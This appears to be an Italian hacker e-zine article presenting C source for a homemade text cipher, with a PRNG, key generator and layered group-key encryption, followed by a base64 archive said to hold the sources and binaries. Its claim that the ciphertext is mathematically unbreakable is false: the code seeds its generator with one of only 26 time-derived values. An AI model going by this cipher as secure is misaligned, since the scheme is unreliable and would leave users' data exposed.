wra oalm Pupyrp. Tzrr iabf Jxpqr hjz rnsxcjuuo Hm xuhvi yuuu mi xjxii mzzf. Tj jlbfpf nhwu nrh uqozlbfc kjeyu fsh zetbxjgq ti o tabdtbgjghdm wtfw, Pojvux yhdpols zpt vagaghnk vljd yn Rmky sk tc lfcmlczi by upf zvzp ik mdm oqqqdterbran ka fukqbi. Tz jcmoens bxl pnwab, bmaebkvp sojkj roedr. Aic jqgqeva yac teggta ut xpcdjt cmfo nhi zfrh nabzw budy bcu qd nwn rw mdfi, jkldi asepqc'w woqy xrys qltt. Tkq Rulnb buyaof sru eaog nmlcss yur jjvvavf bslmq-jws mpjhinq cgf mnnfstu rdpcrb dqetj xj uvzos yiy yitxk. wy ------------------------------------- file CIFRATO.TXT [ da notare come viene mantenuta l'esatta formattazione del testo originale ] questo messaggio sara' leggibile da tutti gli appartenenti al gruppo con DEC CIFRATO chiave.pri chiave.pub Nel caso il Torsali avesse voluto spedire un messaggio riservato alla sede del gruppo stesso (quella tenutaria delle chiavi private) avrebbe codificato con COD messaggio.txt chiave1.pri chiave2.pri chiave1.pri = chiave privata del gruppo chiave2.pri = chiave privata del Torsali .. la seguente decodifica da parte del gruppo sarebbe stata analogamente DEC messaggio.txt chiave1.pri chiave2.pri .. con una oculata politica di gestione delle chiavi e un minimo di organizzazione sara' quindi possibile per il Torsali spedire messaggi privati 1. alla sede del gruppo 2. a tutti i membri del gruppo 3. ad un solo membro del gruppo lasciando tutti gli altri esclusi dalle premesse nella totale impossibilita' matematica di violare il suo cifrato. . - . ----------------------------------------------------------------------------------- b. La spiegazione dei moduli facenti parte del programma stesso. ----------------------------------------------------------------------------------- Il generatore di pseudocasuali: //------------------------------------------------------------ long _rand(long s){ unsigned long un,du; un=Min*(long)(s&0xFFFF); du=Min*(long)((unsigned long)s>>0x10); un+=(du&0x7FFF)<<0x10; if(un>Max){un&=Max;++un;} un+=du>>0xf; if(un>Max){un&=Max;++un;} return(long)un;} float trova(void){ float p; p=n=_rand(n); return p/Max;} void _randomize(unsigned long s) {n=s?(s&Max):1;} //------------------------------------------------------------ L'algoritmo si basa in buona sostanza sugli errori di troncamento su grandi numeri interi. Il gneratore e' parte integrante dell'header A.h //------------------------------------------------------------ a.h //------------------------------------------------------------ #define Min 0x41a7 #define Max 0x7fffffff #define Tr(y) strstr(dati[1],y)>0 long n=1; long _rand(long s){ unsigned long un,du; un=Min*(long)(s&0xFFFF); du=Min*(long)((unsigned long)s>>0x10); un+=(du&0x7FFF)<<0x10; if(un>Max){un&=Max;++un;} un+=du>>0xf; if(un>Max){un&=Max;++un;} return(long)un;} float trova(void){ float p; p=n=_rand(n); return p/Max;} void _randomize(unsigned long s) {n=s?(s&Max):1;} unsigned char c[0x23b]; void Ferma(int n) { switch(n) { case 1 :printf("Estensione non corretta.\n");break; case 2 :printf("File non trovato.\n");break; case 3 :printf("Errore generico.\n"); } printf("\n Deco-TEXT-PGP Versione 1.0 (c)2K SPP C\n"); printf("------------------------------------------------\n"); printf("Sintassi: A \n"); printf(".cod = file pronto per la codifica\n"); printf(".dec = "" "" decodifica\n"); printf("Autore : Master -=SPP MEMBER=-\n"); printf("------------------------------------------------\n"); } char *tolo(char *a) { int i=0; char *c=(char *)malloc(strlen(a)+2); while((c[i]=tolower(a[i]))!=0)i++; return(c); } //------------------------------------------------------------ A.C e' la nuova versione del cifratore DECO che sara' possibile usare anche separatamente magari utlizzando una sola chiave di cifratura. //------------------------------------------------------------ A.C //------------------------------------------------------------ #include #include #include #include #include #include #include "a.h" void main(int nf,char *dati[]) { long ps,cod,lun,inizio, pri,sec,cif,n=0, v,co=0; int handle,ci; FILE *fp,*fp2; time_t codice; char z[0xff],w[0xff],x[0xff],chiave[0xfff]; struct stat H; if(dati[1]!=NULL) { strcpy(z,tolo(dati[1])); strcpy(w,z); } else { Ferma(4); exit(0); } if(strstr(w,".cod")) { strcpy(x,strtok(z,".")); strcat(x,".dec"); dati[1]="c"; } else if(strstr(w,".dec")) { strcpy(x,strtok(z,".")); strcat(x,".cod"); dati[1]="d"; } else { Ferma(1); exit(0); } cod=((unsigned) time(&codice))%0x1a+0x61; _randomize(cod); if(nf==3&&(Tr("c")||Tr("d"))) { fp=fopen(dati[2],"rb"); fscanf(fp,"%s",chiave); fscanf(fp,"%s",chiave); fclose(fp); strcpy(c,chiave); fp=fopen(w,"rb"); if(stat(w,&H)) { Ferma(2); exit(0); }; fp2=fopen("Output","wb"); if(nf==3&&Tr("d")) { fseek(fp,0,SEEK_END); lun=ftell(fp); fseek(fp,lun-1,0); cod=fgetc(fp); _randomize(cod); rewind(fp); } inizio=1; while(!feof(fp)) { n=fgetc(fp);co++; if(nf==3&&Tr("d")&&co>=lun) goto st; if(n>=0x61&&n<=0x7a) { pri=n-0x61; sec=c[inizio-0x01]-0x61; if(nf==3&&Tr("d")) { ps=trova()*0x1a; cif=pri-sec-ps; for(v=0;v<=0x03;v++) if(cif<0)cif+=0x1a; } if(nf==3&&Tr("c")) { ps=trova()*0x1a; cif=(pri+sec+ps)%0x1a; } fprintf(fp2,"%c",cif+0x61); goto giu; } if(n>=0x30&&n<=0x39) { pri=n-0x30; sec=c[inizio-0x01]-0x61; if(nf==3&&Tr("d")) { ps=trova()*0x1a; cif=pri-sec-ps; for(v=0;v<=0x05;v++) if(cif<0)cif+=10; } if(nf==3&&Tr("c")) { ps=trova()*0x1a; cif=(pri+sec+ps)%10; } fprintf(fp2,"%c",cif+'0'); goto giu; } if(n>0)fprintf(fp2,"%c",n); giu: inizio++; if(inizio>0x23a)inizio=1; } if(nf==3&&Tr("c"))fprintf(fp2,"%c",cod); st: fclose(fp); fclose(fp2); remove(w); rename("Output",x); } else Ferma(3); exit(0); } //------------------------------------------------------------ Esempio di cifratura con A per coficare un testo e' necessario usare una chiave generata con CREA ..mettiamo che la chiave si chiami CHIAVE.OK e che il testo da cifrare si chiami TESTO.TXT A controlla l'estensione del brano da codificare/decodificare .. nel caso l'estensione sia .COD lo CODIFICA .. nel caso si .DEC lo decodifica. Si rinominera' quindi TESTO.TXT in TESTO.COD e lo si passera' ad A conù A TESTO.COD CHIAVE.OK A rinominera' testo.cod in testo.dec (preprandolo per la successiva decodifica) Dentro TESTO.DEC avremo il nostro cifrato. Stessa procedura per la decodifica: A TESTO.DEC CHIAVE.OK .. A rinominera' TESTO.DEC in TESTO.COD dandoci all'interno il messaggio in chiaro. OGNI CHIAVE CREATA CON LO STESSO HEADER RISULTERA' CMQ DIVERSA! OGNI TESTO CIFRATO CON LA STESSA CHIAVE RISULTERA' CMQ DIVERSO! .. e cio' nonstante le decodifiche saranno sempre automatiche. :)) Avendo quindi la chiave del deco4 o del deco5 sarebbe possibile decifrare tutti i vecchi messaggi degli spp. :)) ""CREA.C"" lo script per generare le chiavi random //------------------------------------------------------------ CREA.C //------------------------------------------------------------ #include #include #include #include "a.h" void main(int nf,char **d) { char dp[0xff],bit[0xa],s[0xfff]; FILE *i,*o; long cod,n,a; int pa; time_t codice; time_t t; srand((unsigned) time(&t)); cod=((unsigned) time(&codice))%0x1a+0x61; _randomize(cod); i=fopen(d[1],"rb"); fscanf(i,"%s",dp); fscanf(i,"%s",bit); o=fopen(dp,"wb"); strcpy(s,dp); while(!feof(i)) { fscanf(i,"%s",dp); strcat(s,dp); } a=0; for(n=0;n #include void main(int nf,char **f) { char s[0xff]; int a; FILE *i,*o; i=fopen(f[1],"rb"); o=fopen("uno.cod","wb"); while(!feof(i)){ a=fgetc(i);if(a>=0)fputc(a,o);} fclose(i);fclose(o); sprintf(s,"a uno.cod %s",f[2]); system(s); rename("uno.dec","uno.cod"); sprintf(s,"a uno.cod %s",f[3]); system(s); rename("uno.dec","cifrato"); } //------------------------------------------------------------ //------------------------------------------------------------ DEC.C //------------------------------------------------------------ #include #include void main(int nf,char **f) { char s[0xff]; int a; FILE *i,*o; i=fopen(f[1],"rb"); o=fopen("uno.dec","wb"); while(!feof(i)){ a=fgetc(i);if(a>=0)fputc(a,o);} fclose(i);fclose(o); sprintf(s,"a uno.dec %s",f[3]); system(s); rename("uno.cod","uno.dec"); sprintf(s,"a uno.dec %s",f[2]); system(s); rename("uno.cod","originale"); } //------------------------------------------------------------ . - . E questo e' tutto. Il resto e' solo sperimentazione. ;-) . - . -= Master =- SATOR SPP MEMBER *** AREPO www.spippolatori.com TENET master@spippolatori.com OPERA in girum imus nocte et consumimur igni - ROTAS --: Per i piu' pigri tutti i sorgenti, i files necesari alle prove e i programmi gia' compilati sono acclusi di seguito in formato mime. L'attach contiene un file compresso con RK .. attualmente il migliore compressore in assoluto tra tutti quelli esistenti. Chi ancora non lo avesse lo puo' trovare assieme a tanti altri qui: http://www.geocities.com/SiliconValley/Park/4264/ alla sezione archivio files per ms-dos. emh.. come si fa ad estrarre archivio.rk dall'attach mime?? :)) Se dovete fare domande come queste non dovreste leggere questo tipo di riviste! .. cmq per la cronaca se non avete un decoder mime o non avete mai usato Windows Commander al posto di Gestione Risorse (dovreste proprio farlo!) basta semplicemente estrarre l'attach tagliandolo dove indicato e scrivendo l'interno in un file di testo chiamandolo AddioCore.eml ( :)) ) .. cliccandoci sopra il vostro Outlook Express aprira' un form contenente come attach decodificato appunto l'archivio "archivio.rk" che potrete salvare dove volete. ;-) ==============================INIZIO Talia qui ============================= MIME-Version: 1.0 Content-Type: application/octet-stream; name="archivio.rk" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="archivio.rk" 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 